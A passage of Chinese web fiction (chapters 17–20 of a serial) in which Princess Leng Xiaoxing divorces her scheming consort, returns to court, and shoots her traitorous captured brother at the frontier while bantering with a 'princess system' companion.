将自己好好打扮一番的吴思齐,想与冷小幸共赴巫山,作为对冷小幸将再一次为他退居内宅的奖赏。
冷小幸看着满面春风、含情脉脉对她诉说情话的吴思齐真想切开他的脑子,看看里面装了些什么。
她笑盈盈摸着吴思齐如玉般英俊的脸庞道:“可本宫更喜欢你送我的另一份大礼。”
吴思齐心猿意马,伸出双臂正想拥吻冷小幸,下一瞬就被冷小幸一掌扇翻在地,继而被冷小幸叫进来的内侍捆绑起来。
“公主,您这是做什么?”吴思齐头被压在地上,脸蹭着地板大惊失色道。
冷小幸根本不理他,命人带着状子去宗正寺状告驸马与宣平侯夫人不敬公主,驸马与罪臣之女珠胎暗结,意图以私生子充作公主之子,密谋毒杀公主,并向宗正寺出具宣平侯夫人及吴思齐的亲笔书信作为证据。
宣平侯夫人的那封信上大意是:“陈宝珠有孕,孩子是吴思齐的,问吴思齐该怎么办?”
吴思齐的回信则是:“皇帝病重,二皇子登基在即,先稳住公主,让公主认下陈宝珠所怀的孩子,等公主为这孩子请封爵位后,再毒杀公主,迎娶陈宝珠。”
被请到宗正寺的宣平侯夫人、吴思齐都傻了眼。
宣平侯夫人从头到尾只写过一封信,上面写的是虽然公主未与吴思齐圆房,但她愿意认下陈宝珠的孩子,叫吴思齐不要误会公主等事。
吴思齐写过两封,一封已经被烧了,那上面也没敢写其它,只说知道了。另一封专门伪造给冷小幸看的,更是否认了他与陈宝珠的关系。
宣平侯母子不肯认,同样拿出两封信作为证据。
皇帝闻讯大怒,命宗正寺限期审理此案。
宗正寺卿正是燕王,他手下不乏能人,很快查
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清冷小幸出示宣平侯夫人所写的信,笔墨纸砚、印鉴与宣平侯夫人日常所用一致,笔迹也与宣平侯夫人吻合。
宣平侯夫人出具的信,虽然笔迹、印鉴无误,但笔墨纸砚却并非宣平侯夫人日常所用,根据她的供词是这封信是在驸马屋中所写,调查发现确为驸马日常所用,同时与陈宝珠房中的用具一致。
吴思齐出示的信,根据供词这信是他在外安置流民所写,但这封信笔墨纸砚却与宣平侯夫人日常所用一致,字迹虽与吴思齐平日所写相像,但笔力虚浮难以解释。
反而是冷小幸送去信,字迹与吴思齐完全一致,笔墨纸砚也与当日吴思齐在外安置流民所用的之物相同。
陈宝珠也从郊外的庄子被抓到宗正寺。
出了这样的乱子,宣平侯自然不能继续在京城外装聋作哑,匆忙赶回求见已搬回公主府的冷小幸,却被拒之门外。
此刻,冷小幸正与燕王叙话。
“昭华,你到底是怎么想的?”燕王开诚布公。
冷小幸也不扭捏,直言道:“我要休夫,我要以医疗队之功重回朝堂,还请王叔成全。”
燕王几不可闻叹了口气。
他明白冷小幸之所以选择告到宗正寺,就是为了让这案子成为皇室的家事,她是在以此为筹码换文武百官妥协。
这件案子不仅仅是驸马吴思齐的风流韵事,涉及到皇帝病重期间宣平侯府及其他附庸妄想二皇子继位谋利、驸马意图毒杀公主等等。
若是宣平侯府罪名成立必定抄家灭族。
但这样的罪名绝不是宗正寺能定下的,此案涉及之广更不是宗正寺一家可审,必要经三司会审。
如此一来,区区两封信并不能作为铁证,且皇帝病重于宣平侯一干人等无关,驸马等没有付诸行动毒杀冷小幸,陈宝珠腹中孩子尚未落地,当然也没有充作公主之子,骗取爵位之事。
这个案子若由三司会审最终会查出什么样的真相实未可知,即便真的认定宣平侯府的罪行,与冷小幸能否上朝参政也没有关系。
当然宣平侯府毕竟是世家标杆,若是以这样的大罪公之于众,对天下世家名望都是沉重一击。
燕王心里清楚宣平侯人、驸马未必那么傻,敢在信中写得那般直白漏骨,冷小幸出示的信来源存疑,同样宣平侯母子提交的信也不可信。
冷小幸的意思很明显,她不要查案真相,她只要各方利益妥协,让她得偿所愿即可。
“昭华,你为何非要如此?做个富贵闲人不好吗?朝堂相争没有你想象的那般容易,”燕王作为男人,他真的不能理解为什么冷小幸对于上朝理政那么在意,他像这个世界的大部分人一样,认为公主安享尊荣便好,女子当安于内宅。
他循循善诱,苦口婆心劝道:“天下间从未有过女子休夫,更没有女子入朝理事,难道你想留下仳鸡司晨的千古骂名吗?”
17.替驸马养私生子的公主17
“事到如今,我也不瞒王叔,”冷小幸揉出一个迫不得已的神色道:“我虽然医术好,但终究不是神仙,父皇的身体也只能尽量照料。国朝初立,江山稳固为要,如今年纪大一些的皇子,唯有二皇弟,但他行事如同世家走狗。”
看着燕王神色,冷小幸索性将话说破:“将来山陵崩,若是由二皇弟主政,父皇与叔父们的心血可就白费了,这江山还不知最后是谁家的呢。”
“至于身后骂名我哪里还顾的得上,”冷小幸缓了口气道:“历朝历代皇后、太后、公主临朝辅政是常有之事。何况不破不立,从古至今,万事万物不都是从无到有,我也只想撑到底下的弟弟们长成罢了。”
不等燕王再说些什么,冷小幸又大喇喇来了句:“若是王叔有意取而代之,我倒不必再操这份心了。”
“昭华,莫要胡说,本王绝无此心,”燕王赶忙否认道:“罢了,你既如此想,王叔怎能不助你一臂之力,你且等消息吧。”
冷小幸福身道:“多谢王叔。”
燕王被冷小幸这诛心之言一激,劝告的话半个字都不能再说,还得竭尽全力为冷小幸周旋。
见不到冷小幸的宣平侯,得到了燕王的召见。
对于陈宝珠与吴思齐之事,宣平侯自然是不肯认的。
燕王与他说得很明白,陈宝珠是住在你府上的表姑母亲,无媒苟合有孕在身是真,捉奸要拿双,若不是吴思齐,就得找出陈宝珠的奸夫。可无论奸夫是谁,都是你宣平侯府家风不正造成的。
且陈宝珠现在宗正寺,等孩子落地,自然能查清孩子的生父是谁,到时又该如何分说?
宣平侯辩解道:“即便这个孩子是思齐的,也必定是贱人使了什么下作手段蓄意勾引,王爷您是知道的,思齐这孩子对公主一往情深,素来品德出众,绝不会做出这样的事。”
“侯爷,事到如今还说这些做什么?”燕王冷笑,拿出一份供状道:“大婚几月吴思齐不与昭华圆房是真,他与陈宝珠珠胎暗结是真。陛下病重时你们府上的小厮,受尊夫人与吴思齐指使诱昭华入住宣平侯府亦是真。”
燕王递出的供状是该小厮签字画押的。
宗正寺只能暂时扣押宣平侯夫人和吴思齐,并不能对他们用刑审问,但对付区区一个小厮却容易的很。
至于这小厮是宣平侯府的家生子,一家人的身契性命都捏在宣平侯府也算不得什么,若是连个小厮都对付不了,燕王等宗正寺一干人等也算白活了。
“昭华本就受陛下宠爱,如今又有救驾和医疗队两份功劳在身,她肯退一步,将这事交到宗正寺是她心慈,”燕王身量高大、常年征战论气场远胜宣平侯。
他逼近宣平侯道:“倘若你还敢推诿叫陛下知晓,难道陛下不能乾坤独断,要你满门性命?侯爷还是好生想想吧。”
说完,便毫不客气将宣平侯逐出门去。
宣平侯闹了个没脸,在宗正寺外沉思片刻,再次登门请求见一见宣平侯夫人和吴思齐。
宗正寺小官早得吩咐,没有为难,带他去见宣平侯夫人母子,还贴心让他们一家三口在同一间牢房商议,并带着人退出去。
宣平侯疲惫揉揉眉心,将当前局势讲给宣平侯夫人母子听。
宣平侯夫人一听冷小幸要休夫,立刻尖叫起来:“那怎么行?天下只有七出之条,向来男休女,没有女休男,若是公主休夫,思齐还有什么脸见人!老爷万万不能答应呀。”
“那你说怎么办?”宣平侯没好气道。
“老爷,那两封信分明是假的,小厮所言不过是忠心的奴仆不忍主子为难说了几句实话又有什么错?历朝历代驸马有通房侍妾也不算什么,这官司就算打到陛下跟前又能拿我们怎么样?”宣平侯夫人满脸不屑。
她傲然道:“公主已嫁入吴家,是吴家妇,难道陛下还能包庇她?由着她不守规矩,让天下人耻笑吗?”
宣平侯闻言一巴掌打在宣平侯夫人脸上,半点没留手。
宣平侯夫人被打翻在地,吐出一口血沫。
吴思齐连忙上前扶住,惊慌道:“母亲,你怎么样?”
宣平侯夫人木着脸,好半天没反应过来。
吴思齐转头对宣平侯道:“父亲,您这是做什么,有话好好说。”
“有话好好说?”宣平侯老泪纵横,颤抖着指着宣平侯夫人母子道:“你们母亲俩好大的胆子,做出这么多该死的事不告诉我,现在还敢嘴硬。难道不知一朝天子一朝臣的道理?倾家之祸就在眼前,难道真要全家一起赴死吗?”
吴思齐见宣平侯如此,只觉心如刀割,他扶宣平侯夫人起身坐下,自己走到宣平侯跪下道:“都是孩儿不好,让父亲费心了,您说怎么办,孩儿都听父亲的。”
“好,你去见陈宝珠教她什么话该说,什么话不该说,”宣平侯抚着吴思齐头顶,弯腰几不可闻道:“儿啊,忍一时之气,来日方长。”
牢房有铜管,屋外的差役将其它话语记录好,并注明因最后一句声音太小听不清呈给燕王。
燕王看后不过一句:“宣平侯倒是乖觉。”也就罢了。
第二日,冷小幸上书宗正寺以驸马不敬公主为由要求休夫,迅速得到通过。
宣平侯则亲自奔走游说各世家以冷小幸有功为由,联名奏请她入朝督办各军医疗队后续事宜。
宣平侯所为震惊朝野,尤其是那些鼓动吴思齐管束冷小幸,不要让她在朝堂上蹿下跳的世家子弟们简直要疯了,不约而同在心中呐喊:“不是,宣平侯你在干什么?!”
可这些世家子弟说到底尚不能主事,真正做主的各世家家主在几日间便与宣平侯达成默契,共同上书请冷小幸入朝理事,皇帝准奏。
这下,所有人都明白宣平侯府一定犯下不可言说的大错,没有人在明面上刨根问底,聪明的只当什么都没发生不采取任何行动,不聪明的则暗中打探,不知死活。
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>收到密报的皇帝,先将此事搁置,叫冷小幸进宫问:“直接杀了吴思齐便好,宣平侯府也没有留下的必要,难道你还舍不得?”
“当然不是,我怎么会舍不得他?天下男人多的是,儿臣要什么样的男人没有?只是觉得他死应当死于律法,根据现有法条,他罪不至死,且儿臣无意将这个案子摆上朝堂,便先留他一命。”冷小幸失笑道。
皇帝又道:“若是为了休夫,也不必如此麻烦,先休后杀亦可。再者,父皇既在,你想入朝理政,何须他人?朕允你入朝便是。”
“可儿臣不愿因父皇宠爱入朝,哎呀,反正现在目的达到了,父皇就别为此烦心了,好吗?”冷小幸扯着皇帝袖子撒娇。
皇帝见冷小幸心有成算,况木已成舟,也就不再多言。
冷小幸入朝后,对于其他政事并不多嘴,只一心一意建设各地医疗队。
以京城周边守军为试点,而后先在北境推行。
北境医疗队刚有起色,形成规模,朝廷便决定对北境用兵。
因受罚沉静许久的二皇子在众世家推举下,作为主帅代表皇族出征。
对于这件事情,冷小幸并不意外。
可以说,这就是世家促成她重回朝堂的先决条件之一。
在他们看来,冷小幸到朝堂有什么用?
大战在即,皇家必定要派皇族出征鼓舞士气,太子已逝,余下的皇子中舍二皇子其谁?
待二皇子携军功归来,便是铁板铮铮的太子人选。
现在皇帝宠爱冷小幸,动不得她,可等二皇子继位,让冷小幸回归内宅,还不是二皇子一句话的事?
冷小幸对他们的心思心知肚明,她没有半分阻拦的意思,她只是提出要作为医疗队后勤人员同上战场,皇帝答应了。
皇帝对于世家推举二皇子这个行为也没有不满,此战确实需要一个皇室成员去做吉祥物,二皇子是唯一合适的人选,至于打赢那是将士们的功劳,与二皇子何干?
他又不是先太子既能上阵杀敌,又能居中指挥,一个吉祥物起到鼓舞士气的作用就行,论功行赏且赏不到太子之位。
那不过是世家一厢情愿的野望罢了。
不过二皇子毕竟是皇帝的亲儿子,不能因为犯过错就一棒子打死,更何况底下的皇子们还小,尚看不出资质。
皇帝年事已高,又生了一场大病,且他心里觉得从政治的角度上说,他病重时二皇子自行去前朝听政,也不能算是完全错误,当然没有孝心也是真的。
冷小幸无意揣测皇帝的心思,她一心扑在医疗队上,对于二皇子作为统帅种种言行,毫不过问。
这次出征世家子弟有许多跟随在二皇子身边,其中包括前驸马吴思齐。
在世家子弟看来,朝廷准备充分,此战必胜,他们来就是来镀金的。吴思齐则更想靠军功,洗刷他被休夫的污名。
除此世家子弟外,还有一批人随军出征。
18.替驸马养私生子的公主18
这批人曾为东宫属官,先太子薨逝后,他们身上仍打着先太子属臣的烙印。
这些人皆是皇帝为先太子所选的青年才俊,未来的国之栋梁,若是弃之不用,实在可惜。
在皇帝有意成全下,这些人领命出征各司其职,意图增加新身份,以待来日。
自出征以来,他们无一人攀附二皇子,大部分只专注自己的分内事,有极少一部分竟与冷小幸走得很近,隐隐有奉她为主之象。
对此,公主系统大为不解道“你休夫,不安于室,他们怎么还会依附于你?这不合理!”
“哼,”冷小幸手里摆弄着草药,耻笑道:“比起明明是一家人,皇帝与先皇后、先太子都是人中龙凤,你却是个脑袋上裹小脚的,这些有志之士择我这个明主而栖,合理多了好不好?”
公主系统气急,张口欲骂。
就听冷小幸接着道:“说起来,你们这个世界不合理之处真多,我不过试了试,宣平侯竟然真能说服那些世家,叫我重回朝堂。”
公主系统没有听懂冷小幸这话的深意,它听到宣平侯三个字立即想到吴思齐,忙道:“这次驸马也来了,你得抓紧机会与他好好相处,重修旧好。”
“那是前驸马,你忘了我已经休夫了,我跟他没关系了。”冷小幸翻了个白眼道。
公主系统更急:“怎么会没关系呢,你既然嫁过他,就一生一世都是他的女人,就算死也是吴家妇,你明白吗?”
“你脑袋被驴踢了?”冷小幸摸着下巴道:“说到这,我一直觉得很奇怪,你说你爱慕吴思齐,可你居然对我成为你做他的妻子,完全不抵触。上一世,你对陈宝珠也没有丝毫嫉妒。”
“这有什么奇怪的,七出之罪中妒是其中一条,我是个好女人怎会明知故犯?”公主系统理所当然道。
冷小幸嘴角含笑道:“不然,男女之情是占有欲,具有排他性。你这般在意吴思齐,究竟是因为你爱慕他?还是因为他是你作为好女人的道具?你内心真正渴望的,是与吴思齐情投意合?还是做一个人人称赞的贤妻良母?以此获得内心的满足感?”
“我,”公主系统结结巴巴道:“我不知道你在说什么。”
“不懂没关系,等我杀了他,你彻底失去他,应该就有答案了。”冷小幸笑了笑。
“你不能杀他,”公主系统失声道。
说完,见冷小幸不接话,公主系统脱口而出:“你要杀了他,这个世界就崩塌了,我们都得死,你,你不想这样吧?”
“上次我威胁你,要把吴思齐五马分尸,你可没这么说。”冷小幸轻笑道。
“我,我,”公主系统支支吾吾不能答。
冷小幸了然道:“让我猜猜,是主脑刚告诉你不久吧?我还以为它彻底休眠了呢?原来它还能联系你呀。那它有告诉你为什么吴思齐死了,这个世界就会毁灭吗?”
公主系统愕然道:“没有。”
“那我就好心告诉你吧,因为这虽然是个贤妻良母的世界,中心人物却不是妻子或母亲,不是这个世界上任何一个女人,而是拥有贤妻良母的既得利益者,换句话说这个世界的根基是吴思齐。如果我贸然杀了他,确实有可能会给他陪葬。”
公主系统被这番言论震住,好半天才回过神道:“所以上次你只休夫,没有杀他?”
“对呀,你总算明白了。”冷小幸看着周围忙碌的女军医,轻快道:“不过我相信很快,吴思齐就不再是这个世界的基石。”
“你这话什么意思?”公主系统心中浮现出不详的预感。
冷小幸却不再答话。
随着战事推进,二皇子计划带人前往两国边境。
临走前,他以冷小幸属于后勤部队,请冷小幸留在后方城池坐镇。
二皇子本以为冷小幸绝不会答应,他为此与众人商议出了许多法子,势要将冷小幸留在大后方。
可没想到,他刚张嘴,冷小幸便答应了。
这让二皇子措手不及。
冷小幸似笑非笑道:“看二皇弟的样子,好像不想让本宫留下,那本宫便随你同去前线督战。”
“不,不,不,”二皇子不慎咬到舌尖,忍痛道:“后方至关重要,唯有皇姐在此统筹部署,弟弟我才能放心,还请皇姐以大局为重,留在此处。”
“好,本宫答应你,会做好后勤一切事宜,祝二皇弟此去旗开得胜,”冷小幸笑盈盈道:“本宫等你的好消息。”
二皇子听在耳里,总觉冷小幸这话另有他意,又不敢跟冷小幸叫板,又寒暄了几句才告辞。
十日后,果真传来大胜的好消息。
公主系统不管其它,一心想让冷小幸与吴思齐破镜重圆,几番游说她去前线不成,听闻这个消息便换了说辞道:“你不是说要给赵典军建功立业机会?可他带着一干府兵守着你在后方,哪来的军功?”
“以他的本事,若是上前线杀敌,自或可拜将封侯。你何必这般耽误他,不如带他去前线。”公主系统絮絮叨叨。
只公主系统这样说便罢了。
曾经先太子极为倚重的定国公世子,如今冷小幸最忠诚的拥护者,在四下无人时亦道:“公主既然有心要那个位置,只医疗队的功劳是远远不够的,公主难道不急吗?”
“眼下我并没有前往前线的好机会,做好份内的事也很要紧,后勤保障做好也是大功一件。”冷小幸神色平淡,握着药杵捣药道。
“可是公主......”
不等定国公世子说出下一句,冷小幸打断道:“难道世子当初随侍在皇兄身边时,也是这般质疑皇兄决策的?”
“公主,臣并不敢干涉您,只是臣不忍您错过这样的机会。”定国公世子恳切道。
“本宫明白,”冷小幸往药杵放了一把黄柏道:“但世子也要明白,你若真想奉本宫为主,想从本宫这里得到从龙之功,那么你就应该像侍奉皇兄般侍奉本宫,将本宫当做你的主君
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,而不是你实现抱负的跳板。”
这话太重,重到定国公世子不得不双膝下跪叩首请罪。
冷小幸慢条斯理将药锤成糊状,收进药盒,擦干净手,才起身拍着定国公世子的肩头道:“不必这般拘束,本宫不是那般刚愎自用,不肯纳谏之人,快起来吧。”
定国公世子闻言谢恩起身,他嘴动了动,没出声。
冷小幸知道他想说什么,直接道:“本宫并不希望二皇弟战事失利,也不会做任何多余的事。一旦失败受苦的是边境百姓,伤亡的是我大昌将士。即便此次二皇弟大胜还朝,又能怎么样呢?谁都知道,此次出战,他只是一个摆设,来日方长,何必着急。”
“臣受教,谢公主提点。”定国公世子躬身道。
冷小幸是真心实意希望战事顺遂,奈何天不遂人愿。
战役初期的胜利带给二皇子信心,他开始不采纳边境各将领意见,执意亲赴战场,被引入圈套活捉。
更令人发指的是作为皇子,他不但没有殉国的勇气,竟然亲自扣边,想要敲开城门以自保。
消息传来,冷小幸大骂道:“他脑袋进水了吗?敌人说的话怎么能相信?城门开了他能不能活不知道,城里的将士,百姓必死无疑,防线若是因此被攻破,要死多少人?又要耗费多年才能缓过来,他想过吗?畜生啊,真是个畜生啊。”
冷小幸骂完,立刻带人前往一线。
她的到来,不但极大稳定住了人心,更缓解了因二皇子被抓城中将士们的压力。
冷小幸是皇女,是二皇弟的姐姐,她可以处置二皇弟被俘事宜,但其它将士难免束手束脚。
“此事皆因二皇弟贪功冒进之失,与诸位无关,本宫会亲手上书朝廷,他若死也是自作自受,与人无尤。”冷小幸先定调子,而后对着一众将领道:“本宫初来乍到,诸事不熟,战役之事尽托各位将军,望各位将军以大局为重,勿念其它。”
“谨奉命。”众将行礼。
冷小幸摆手道:“好了,都去忙吧。”
众将领对冷小幸所为心中自有评论。
老实说,虽然冷小幸的到来缓解了他们的压力,但相比之下他们实在不想再来一个只会纸上谈兵的皇女,而冷小幸先是接过二皇子的大雷,又不插手军务的表现,很难不令众将领生出好感。
之后,两军对战前,冷小幸背着弓箭亲赴城墙督战,更是叫人钦佩。
不过,众将领有些担心,女子柔弱怕是看不得等下交战的血腥场面,若是冷小幸被吓哭,吓晕,吓吐都会对己方士气造成极大的打击。
他们有心劝冷小幸回去安坐,又怕士兵们看到不好。
正在为难之际,只见冷小幸搭弓射箭,一箭射死城下前来叫阵的敌国将领,致使敌军大乱。
众将领惊愕之下,也没忘了趁机灭敌。
敌军在短暂的混乱后,将二皇子及与他同时被俘的世家子逐步推到最前方,喝令昌国退兵。
19.替驸马养私生子的公主19
敌军有意退缩把二皇子等人抵在前面做肉盾,昌国士兵更不敢放开手脚,生怕误伤二皇子等贵人搭上自己的性命。
如此一来双方逐渐回到两军对垒的场面。
冷小幸从箭筒抽出一支箭,搭在弓箭上,对公主系统感叹道:“他们可真命大,居然还没死。”
公主系统望着狼狈不堪的二皇子,百感交集。
它心里明白,上一世吴思齐敢那般对它,都是仗着二皇子的权势地位。
公主系统不愿苛责吴思齐,却有些迁怒二皇子。
可如今看到二皇子一身血污,眼神空洞,被人从后提住衣裳,横刀于颈,它又有些于心不忍,毕竟是它从小看着长大的弟弟。
冷小幸显然没有公主系统的多愁善感,她已搭弓瞄准城墙下的二皇子心脏,务求一箭毙命。
一旁的定国公世子和看到这一幕魂飞魄散飞奔上前的吴思齐,一左一右着急忙慌想要阻拦冷小幸。
定国公世子心里明白,二皇子所为固然遭人唾弃,但他毕竟是皇子,是冷小幸的皇弟,更是她登上皇位的有力竞争者。
二皇子可以死在乱军之中,可以死在敌方手下,但绝不能在众目睽睽之下被冷小幸射死。
女子想要做皇帝本就千难万难,一个于两军阵前射杀弟弟的女子,一个毫无骨肉亲情心狠手辣的女子又怎能登上帝位,君临天下成为万民之主?
史书又该如何记载?冷小幸必会因此遭万人唾骂,遗臭万年。
而吴思齐那日阴差阳错,没有随二皇子出城,侥幸留在城中。他听闻冷小幸前来,并不敢凑到冷小幸身边。
此次开战,他也在城墙观战,因着宣平侯世子的身份,离冷小幸有段距离,但不算太远。
吴思齐见冷小幸似要射杀二皇子,哪里还能忍得住。
对他而言,二皇子是他翻盘的机会,是他后半生荣华富贵的保障,他必须要阻止冷小幸。
定国公世子和吴思齐心中都清楚,冷小幸是想射杀二皇子的,但他们不能宣诸于口,劝说的话一个说的比一个漂亮。
一个道:“臣知公主心系二殿下安危,可即便射杀擒拿二殿下的贼子,也救不了二殿下,还请公主三思,切不能冲动。”
“是呀,公主,从长计议,臣愿做使臣出城与敌军谈判,助公主救回二殿下。”另一个道。
冷小幸将弓弦拉满,用在场诸人都能听清的音量大声道:“你们两个不必替本宫遮掩,本宫就是要亲手射杀这投敌叛国罪人。”
定国公世子急了,伸手握住弓弦道:“公主不可。”
“王子犯法与庶民同罪,他犯的乃是死罪,就算将他救回来也该这么判。何况方才将士们顾忌他的性命,大好形势毁于一旦,我军出多不必要的伤亡。他是皇族,别人无权杀他,但本宫身为皇室长姐,清理门户,有何不可?”冷小幸呵斥定国公世子道:“退下。”
定国公世子只得松手。
下一瞬,长箭离弦,没入二皇子心口,力道之大将二皇子身后的敌人一起射杀,两人跌倒在地。
二皇子死不瞑目,他想到冷小幸可能会借机除掉他。
但他更相信冷小幸会设法救下他,然后踩着他邀名,毕竟他的所作所为几乎注定他不能登上大位,他对冷小幸没有任何威胁,反而是冷小幸可以利用的筹码。
易地而处二皇子同样会这么做,他也无比希望冷小幸这么做,他想只有他还活着,就有从头再来的希望,哪怕希望渺茫。
可他万万没想到,冷小幸竟然不要这么好扬名立万的机会,反而当众杀了他自毁长城。
冷小幸并不在意二皇子心中的弯弯绕绕,她搭弓射箭趁着城墙上下众人都在震惊,不能回神时,将那些跟随二皇子的世家子弟一一射杀,而后大手一挥,下令出击。
此战大获全胜。
唯一瑕疵大概就是二皇子及那些世家子弟的尸身被马匹及士兵践踏,面目全非,仅能凭衣裳辨认出尸首是何人。
定国公世子将这个消息汇报给冷小幸时心里很是沉重,二皇子等人死是一回事,尸身残缺又是另一回事,等消息回到京城,定然会掀起轩然大波、物议沸腾。
“是吗?”冷小幸不咸不淡道:“唉,可惜了。”
定国公世子迅速抬头,看了眼冷小幸,又赶紧低下头去,很明智没有问冷小幸可惜什么。
冷小幸望着湛蓝的天空问定国公世子道:“经此一事,你还愿意追随本宫吗?”
定国公世子心中一凛,忙拱手真诚道:“忠臣不事二主,臣绝不敢有二心,还请公主明鉴。”
“那好此地事宜由你全权负责,”冷小幸转头将视线落在定国公世子身上。
定国公世子一时间没有懂全权负责是何意?
他迟疑道:“公主的意思是?”
“联合各方尽可能获取此战能为本宫带来的政治利益,明白吗?”冷小幸说得露骨直白。
定国公世子有片刻呆住,随即道:“臣定当全力以赴,不负殿下之命。”
冷小幸又交代了几句,便命定国公世子退下。
公主系统好奇道:“你方才可惜什么?”
冷小幸幽幽叹了口气道:“可惜那个小畜生的尸身七零八落,不能将他吊在城楼上示众。”
公主系统闻言一时语塞,看着定国公世子远去的背影,不由为他捏了把冷汗,要侍奉冷小幸这样不按常理出牌,毫无顾忌的主子,他以后的路只怕要走得很艰辛。
冷小幸在此战之后,除了交战时会去城墙督战外,不插手任何军务,也没有像众将领所担心的那样出城上阵杀敌,只不过将赵典军等一干府兵交给负责军事指挥的将领,让将领也让这些人历练一二。
除此之外,她似乎一心一意都扑在了医疗队的运转上。
在旁人看来,冷小幸身为公主却纡尊降贵亲自到帐篷慰问伤员。
对于医疗队整
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体流程,各项细节处处上心。
此举获得了边关将领的一致好感,虽然表面上他们不好公然表态,但对于冷小幸为医疗队运转要求的各项事宜无一不大开绿灯。
公主系统很疑惑,她道:“比起让定国公世子隐晦缓慢壮大势力,你亲自上阵杀敌,取得胜利,携军功以图皇位,不是更好吗?你就不怕这些将领指挥失当,指使战役失败?”
“你父皇是开国皇帝,你怎么能质疑他手下将领的军事能力呢?历朝历代开国这一批将领都是最好的,能统一四海建立新朝,自然也能征战四方。就算我是,也未必会比他们做得更好。”冷小幸挑眉道。
“且统帅与士兵是需要磨合的,大敌当前一动不如一静。再说,他们能被皇帝委以重任,皆是皇帝心腹。我贸然插手就算赢了,也得不偿失。”冷小幸偷笑道:“难道你没听过一句话,不会带团队,只能干到死。我现在连团队都不用带,多好。”
这场仗打得并不久,朝廷准备充分,没有了二皇子等老鼠屎,不过两个月就已取得全面胜利,起码几十年之内敌国都没有扣边的能力了。
皇帝封赏的圣旨很快传来,大赏三军,却没有对冷小幸的赏赐,只命她带着二皇子等人的棺木回京。
自从二皇子死讯传回消息传回朝廷后,对于冷小幸的弹劾从未停止。
对此,边关将领曾联名上书朝廷,言明昭华公主是为大局考虑才亲手射杀二皇子等人,是二皇子等人不听军令咎由自取还造成了我军损失,而作为将领他们对此也有责任,若要因此判昭华公主有罪,他们愿一同承担。
因为这份联名奏折,更因为还在交战不宜处置此事,对冷小幸的弹劾暂停。
如今战事已毕,对冷小幸的弹劾除了射杀二皇子等人又加了一条,那便是她与边境将领交往过密,图谋不轨。
对此皇帝不置一词,但大赏三军却没有给予冷小幸封赏,这让不少人看到了将冷小幸打压下去的希望。
他们摩拳擦掌,只等冷小幸回京给她沉重一击。
边关将领却借着为冷小幸送行,纷纷独自暗中宽慰她道:“陛下此次未对公主论功行赏,并非因为其他,而是因为陛下看重公主,方有所踌躇,公主切莫多想。”
冷小幸闻言态度谦逊,口称叔伯,真诚道谢过众将领。
终于将人一一送走后,她不由感叹道:“袍泽之情。果然不同其它,论对皇帝君心的揣测,边境这些将领远胜朝堂上那群聒噪的乌鸦。”
冷小幸与其他奉旨回京的将领日夜兼程终于在十七天后的午时抵达京郊。
于京城三十里外扎帐,上奏朝廷。
第二日一早,燕王奉旨带领政事堂尚书令等宰相,三省六部大员迎接冷小幸及众将领士兵。
这是大胜,当有此殊荣,冷小幸身为皇女,又不乘车,自然骑马走在最前面,京中百姓欢呼雀跃,夹道欢迎。
偶有百姓问道:“怎么还有女人?”
20.替驸马养私生子的公主20
有消息灵通的在旁解释:“那是昭华公主,听说这次也去了前线。”
“那她做了什么?”
没人回答,普通老百姓哪里能知道那么多呢?
前来迎接的朝臣有人觉得冷小幸张扬,却不敢在这种场合发作。
皇帝在宫中设午宴,犒赏群臣。
这一日,君臣和谐、宾主尽欢,没有人不长眼发出不和谐的声音。
当夜,皇帝留冷小幸宿在宫中,他屏退左右,神色清明问道:“昭华,你是否有意太子之位?”
冷小幸躬身行礼,郑重道:“不敢欺瞒父皇,儿臣确有此意。”
“不请朕成全吗?”皇帝闻言,并未动怒,笑问道。
冷小幸正色道:“儿臣想要以女子之身,登上太子之位,仅靠父皇的成全是不够的,但若能得到父皇的允许支持,定然事半功倍。”
“你想清楚了?一定要走这条路?”皇帝沉声道。
冷小幸斩钉截铁道:“想清楚了,一定要做。”
“好,朕拭目以待,你一路辛苦,回去好生歇着吧。”皇帝注视着冷小幸的面庞,像是透过她在看别的什么人,片刻后终于说道。
冷小幸行礼告退,回了蓬莱殿。
柳嬷嬷与紫藤早已准备好汤池,服侍冷小幸沐浴更衣。
满池洒满花瓣的热水洗去冷小幸一身的疲劳。
出了汤池,冷小幸靠在躺椅上,紫藤用大毛巾给她擦头发,会穴位按摩的宫女坐在脚踏上给她捏脚。
柳嬷嬷捧着黄芪人参乌鸡汤喂冷小幸。
“嬷嬷,我方才在宴席上吃过了,”冷小幸一时间有些不适应。
柳嬷嬷哄道:“宴席上哪里能好生吃饭,公主乖多少吃几口,可好喝了。”
冷小幸遂喝了两三口,对着公主系统满足叹到:“回家真好,是吧?”
前世公主系统偏听宣平侯夫人、吴思齐之语,疏远柳嬷嬷、紫藤等人,宠信玉春,最后不但死在玉春手里,平日玉春对她的照料也远远比不及柳嬷嬷、紫藤这般尽心尽力、体贴入微。
如今回头再看,公主系统终于有几分悔意。
它压下心头酸楚道:“你方才为什么不请父皇直接立你为太子?他明明有意立你。”
“哈哈哈,”冷小幸在脑中放肆大笑:“你怎么会相信一个男人,尤其是一个帝王的画饼?”
“父皇不一样,他是慈父。”公主系统急了。
冷小幸赞同道:“不错,他是宠爱你的慈父,但仅限于你甘愿做一只笼中鸟时,他会给你无上的宠爱,赐你荣华富贵,为你保驾护航,让你一生无忧喜乐。”
“可是当我意图染指权柄时,他便会从为父变为朕。他会比任何人都更严苛审视我是否有能力执掌江山。他的理性将远远大于感性。”冷小幸实事求是道。
“我不信,父皇才不是那么冷血无情。”公主系统开启胡搅蛮缠模式。
冷小幸冷笑一声问紫藤道:“淑妃娘娘如何了?”
“听说二皇子死讯传来,淑妃娘娘当时就疯了,”紫藤手一顿,低头小声道:“陛下下令将她移出宫养病去了,但没有人知道她究竟去了哪里。”
公主系统不解道:“你问这个做什么?难道你知道淑妃娘娘去哪了?”
“她应当被你重情情义的父皇下令杀了。”冷小幸对公主系统的傻白甜有了更深层次的认识。
公主系统惊呼一声,不敢置信。
“你很意外吗?”冷小幸淡淡道:“二皇子是淑妃唯一的孩子,她难道不会因二皇子之死对皇帝生出不满?不管她是真疯还是假疯,一个会对皇帝心存怨望的后妃留在世上,这是对皇帝人身安全的威胁,她必死无疑。皇帝没有留下她性命的理由。”
“可淑妃娘娘与父皇多年相伴,还生了二皇弟,他们之间是有情份呀,为什么非要淑妃娘娘死呢?远远打发出宫不行吗?”公主系统喃喃道。
“这并不是你父皇冷酷无情,而是他必须要做出一个皇帝正确的抉择。”冷小幸理所当然道。
公主系统犹豫再三,终于问道:“那你以后也会变成这样吗?”
“也许吧,”冷小幸打了个哈欠含糊道。
